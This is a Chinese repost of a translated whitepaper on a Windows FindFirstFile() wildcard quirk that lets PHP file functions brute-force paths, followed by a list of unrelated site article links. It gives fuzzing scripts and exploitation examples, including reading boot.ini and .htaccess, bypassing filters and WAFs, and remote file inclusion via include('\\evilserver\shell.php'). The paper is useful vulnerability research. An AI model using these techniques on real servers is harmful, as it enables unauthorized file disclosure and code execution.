windows的文件系统机制引发的PHP路径爆破问题分析


Posted in PHP onJuly 28, 2014

1.开场白

此次所披露的是以下网页中提出的问题所取得的测试结果:
http://code.google.com/p/pasc2at/wiki/SimplifiedChinese

<?php
for ($i=0; $i<255; $i++) {
$url = '1.ph' . chr($i);
$tmp = @file_get_contents($url);
if (!empty($tmp)) echo chr($i) . "\r\n";
}
?>

已知1.php存在,以上脚本访问的结果是:

1.php
1.phP
1.ph<
1.ph>

都能得到返回。
前两种能返回结果是总所周知的(因为windows的文件系统支持大小的互转的机制),另外的两种返回引起了我们的注意。
测试php版本:PHP4.9,PHP5.2,PHP5.3,PHP6.0
测试系统:WINXP SP3 X32,WINXP SP2 X64,WIN7,WIN2K3
经测试我们得出的结论是:该漏洞影响所有的windows+php版本 

2.深入探查模糊测试的结果

为了继续深入探查关于该bug的信息,我们对demo做了些许修改:

<?php
for ($j=0; $i<256; $j++) {
for ($i=0; $i<256; $i++) {
$url = '1.p' . chr($j) . chr($i);
$tmp = @file_get_contents($url);
if (!empty($tmp)) echo chr($j) . chr($i) . "\r\n";
}
}
?>

在调试php解释器的过程中,我们将此“神奇”的漏洞归结为一个Winapi 函数FindFirstFile()所产生的结果(http://msdn.microsoft.com/en-us/library/aa364418(v=vs.85).aspx).更好玩的是,当跟踪函数调用栈的过程中我们发现字符”>”被替换成”?”,字符”<”被替换成”*”,而符号”(双引号)被替换成一个”.”字符。这在2007年msdn公开的文档中被提及:http://msdn.microsoft.com/en-us/library/community/history/aa364418%28v=vs.85%29.aspx?id=3
但是此bug至今未被任何windows旗下所发行的任何版本修复!
我们要阐明的是,该函数FindFirstFile()在php下的运用远远不至于file_get_contents().关于该bug可以利用的函数我们已经列了如下一表:

windows的文件系统机制引发的PHP路径爆破问题分析
 
此外,我们还发现该利用也可以被运用到c++中,以下采用来自msdn的例子:

#include <windows.h>
#include <tchar.h>
#include <stdio.h>
void _tmain(int argc, TCHAR *argv[])
{
WIN32_FIND_DATA FindFileData;
HANDLE hFind;
if( argc != 2 )
{
_tprintf(TEXT("Usage: %s [target_file]\n"), argv[0]);
return;
}
_tprintf (TEXT("Target file is %s\n"), argv[1]);
hFind = FindFirstFile(argv[1], &FindFileData);
if (hFind == INVALID_HANDLE_VALUE)
{
printf ("FindFirstFile failed (%d)\n", GetLastError());
return;
}
else
{
_tprintf (TEXT("The first file found is %s\n"),
FindFileData.cFileName);
FindClose(hFind);
}
}

当传入参数”c:\bo<”时,成功访问到boot.ini文件。

3.利用方法总结

当调用FindFirstFile()函数时,”<”被替换成”*”,这意味该规则可以使”<”替换多个任意字符,但是测试中发现并不是所有情况都如我们所愿。所以,为了确保能够使”<”被替换成”*”,应当采用”<<”
EXAMPLE:include(‘shell<');  或者include(‘shell<<');    //当文件夹中超过一个以shell打头的文件时,该执行取按字母表排序后的第一个文件。
当调用FindFirstFile()函数时,”>”被替换成”?”,这意味这”>”可以替换单个任意字符
EXAMPLE:include(‘shell.p>p');    //当文件中超过一个以shell.p?p 通配时,该执行取按字母表排序后的第一个文件。
当调用FindFirstFile()函数时,”””(双引号)被替换成”.”
EXAMPLE:include(‘shell”php');    //===>include(‘shell.php');
如果文件名第一个字符是”.”的话,读取时可以忽略之
EXAMPLE:fopen(‘.htacess');  //==>fopen(‘htacess');   //加上第一点中的利用 ==>fopen(‘h<<');
文件名末尾可以加上一系列的/或者\的合集,你也可以在/或者\中间加上.字符,只要确保最后一位为”.”
EXAMPLE:fopen(“config.ini\\.// \/\/\/.”);==>  fopen(‘config.ini\./.\.'); ==>fopen(‘config.ini/////.')==>fopen(‘config.ini…..')   //译者注:此处的利用我不是很理解,有何作用?截断?
该函数也可以调用以”\\”打头的网络共享文件,当然这会耗费不短的时间。补充一点,如果共享名不存在时,该文件操作将会额外耗费4秒钟的时间,并可能触发时间响应机制以及max_execution_time抛错。所幸的是,该利用可以用来绕过allow_url_fopen=Off 并最终导致一个RFI(远程文件包含)
EXAMPLE:include (‘\\evilserver\shell.php');
用以下方法还可以切换文件的盘名
include(‘\\.\C:\my\file.php\..\..\..\D:\anotherfile.php');
选择磁盘命名语法可以用来绕过斜线字符过滤
file_get_contents(‘C:boot.ini'); //==>  file_get_contents (‘C:/boot.ini');
在php的命令行环境下(php.exe),关于系统保留名文件的利用细节
EXAMPLE:file_get_contents(‘C:/tmp/con.jpg'); //此举将会无休无止地从CON设备读取0字节,直到遇到eof
EXAMPLE:file_put_contents(‘C:/tmp/con.jpg',chr(0×07));  //此举将会不断地使服务器发出类似哔哔的声音

4.更深入的利用方法

除了以上已经展示的方法,你可以用下面的姿势来绕过WAF或者文件名过滤
请思考该例:

<?php
file_get_contents("/images/".$_GET['a'].".jpg");
//or another function from Table 1, i.e. include().
?>

访问test.php?a=../a<%00
可能出现两种结果

Warning: include(/images/../a<) [function.include]: failed to open stream:Invalid argument in。。。
Warning: include(/images/../a<) [function.include]: failed to open stream:Permission denied。。

如果是第一种情况,说明不存在a打头的文件,第二种则存在。
 
此外,有记录显示,有时网站会抛出如下错误:

Warning: include(/admin_h1d3) [function.include]: failed to open stream: Permission denied..

这说明该文件夹下存在一个以上以a打头的文件(夹),并且第一个就是admin_h1d3。

5.结论
实验告诉我们,php本身没有那么多的漏洞,我们所看到是:过分的依赖于另一种程序语言(注:如文中的漏洞产自与winapi的一个BUG),并且直接强 制使用,将会导致细微的错误(bug),并最终造成危害(vul).这样便拓宽了模糊测试的范畴(译者注:并不仅仅去研究web层面,而深入到系统底层),并最终导致IDS,IPS的规则更新。诚然,代码需要保护,需要补丁,需要升级与扩充。但是,这并不是我们真正要去关注的问题。在当下,我认为我们 更谨慎地去书写更多更严厉的过滤规则,正如我们一直在做的一样。任重道远,精益求精。
因为这是基础应用层的问题,所以我们猜想类似的问题可能出现在其他web应用中。于是我们还测试了mysql5,而实验结果表明,mysql5并不存在类似的漏洞。但是我们仍认为:类似的漏洞将会出现在诸如Perl、Python、Ruby等解释性语言上。

6.Referer

PHP application source code audits advanced technology:
http://code.google.com/p/pasc2at/wiki/SimplifiedChinese
MSDN FindFirstFile Function reference:
http://msdn.microsoft.com/en-us/library/aa364418(v=vs.85).aspx
MSDN comments history:
http://msdn.microsoft.com/en-us/library/community/history/aa364418(v=vs.85).aspx?id=3
MSDN article «Naming Files, Paths, and Namespaces»:
http://msdn.microsoft.com/en-us/library/aa365247(v=vs.85).aspx
Technet article «Managing Files and Directories»:
http://technet.microsoft.com/en-us/library/cc722482.aspx
Paper «Technique of quick exploitation of 2blind SQL Injection»:
http://www.exploit-db.com/papers/13696/

 ==================================================================
全文完。
注:该文是2011年底发表的一篇白皮书,至今该bug依然存在。我在几个月前做CUIT的一个CTF时偶遇了一道该bug的利用,当时便是看的此文,当时只是粗粗读了一下,写了一个php的脚本去跑目录。今回闲来无事,翻译整理了一番。

PHP 相关文章推荐
PHP4 与 MySQL 数据库操作函数详解
Oct 09 PHP
提升PHP速度全攻略
Oct 09 PHP
zf框架的校验器使用使用示例(自定义校验器和校验器链)
Mar 13 PHP
zf框架的Filter过滤器使用示例
Mar 13 PHP
PHP+jQuery翻板抽奖功能实现
Oct 19 PHP
CodeIgniter视图使用注意事项
Jan 20 PHP
Symfony2开发之控制器用法实例分析
Feb 05 PHP
php生成图片验证码的方法
Apr 15 PHP
PHP简单实现合并2个数字键数组值的方法
May 30 PHP
php获取'/'传参的值简单方法
Jul 13 PHP
PHP实现时间比较和时间差计算的方法示例
Jul 24 PHP
详解PHP中的外观模式facade pattern
Feb 05 PHP
浅析PHP程序设计中的MVC编程思想
Jul 28 #PHP
PHP错误Allowed memory size of 67108864 bytes exhausted的3种解决办法
Jul 28 #PHP
php实现的九九乘法口诀表简洁版
Jul 28 #PHP
完美的2个php检测字符串是否是utf-8编码函数分享
Jul 28 #PHP
php5.3以后的版本连接sqlserver2000的方法
Jul 28 #PHP
php中把美国时间转为北京时间的自定义函数分享
Jul 28 #PHP
php的mkdir()函数创建文件夹比较安全的权限设置方法
Jul 28 #PHP
You might like
Smarty的配置与高级缓存技术分享
2012/06/05 PHP
PHP实现的超长文本分页显示功能示例
2018/06/04 PHP
laravel框架数据库配置及操作数据库示例
2019/10/10 PHP
js之WEB开发调试利器:Firebug 下载
2007/01/13 Javascript
HTML node相关的一些资料整理
2010/01/01 Javascript
两个listbox实现选项的添加删除和搜索
2013/03/01 Javascript
jQuery fadeTo方法调整图片的透明度使用介绍
2013/05/06 Javascript
浅谈类似于(function(){}).call()的js语句
2015/03/30 Javascript
Javascript必知必会(四)js类型转换
2016/06/08 Javascript
点击页面任何位置隐藏div的实现方法
2016/09/05 Javascript
Angular.js实现动态加载组件详解
2017/05/28 Javascript
Vue 表单控件绑定的实现示例
2017/08/11 Javascript
解决vue2 在mounted函数无法获取prop中的变量问题
2018/11/15 Javascript
vue2.0移动端滑动事件vue-touch的实例代码
2018/11/27 Javascript
详解为生产环境编译Angular2应用的方法
2018/12/10 Javascript
JS Thunk 函数的含义和用法实例总结
2020/04/08 Javascript
[07:55]2014DOTA2 TI正赛第三日 VG上演推进荣耀DKEG告别
2014/07/21 DOTA
[06:24]DOTA2亚洲邀请赛小组赛第三日 TOP10精彩集锦
2015/02/01 DOTA
[03:12]完美世界DOTA2联赛PWL DAY9集锦
2020/11/10 DOTA
让 python 命令行也可以自动补全
2014/11/30 Python
Python实现动态加载模块、类、函数的方法分析
2017/07/18 Python
python距离测量的方法
2018/03/06 Python
Django对数据库进行添加与更新的例子
2019/07/12 Python
基于python实现雪花算法过程详解
2019/11/16 Python
Python class的继承方法代码实例
2020/02/14 Python
详解通过focusout事件解决IOS键盘收起时界面不归位的问题
2019/07/18 HTML / CSS
h5页面背景图很长要有滚动条滑动效果的实现
2021/01/27 HTML / CSS
纽约的奢华内衣店:Journelle
2016/07/29 全球购物
goodhealth官方海外旗舰店:新西兰国民营养师
2017/12/15 全球购物
美国婚礼和派对礼品网站:Kate Aspen(新娘送礼会、迎婴派对)
2018/03/28 全球购物
年度考核评语
2014/01/19 职场文书
现金出纳岗位职责
2014/03/15 职场文书
质量提升方案
2014/06/16 职场文书
2014年医药代表工作总结
2014/11/22 职场文书
医院保洁员管理制度
2015/08/05 职场文书
Python爬虫 简单介绍一下Xpath及使用
2022/04/26 Python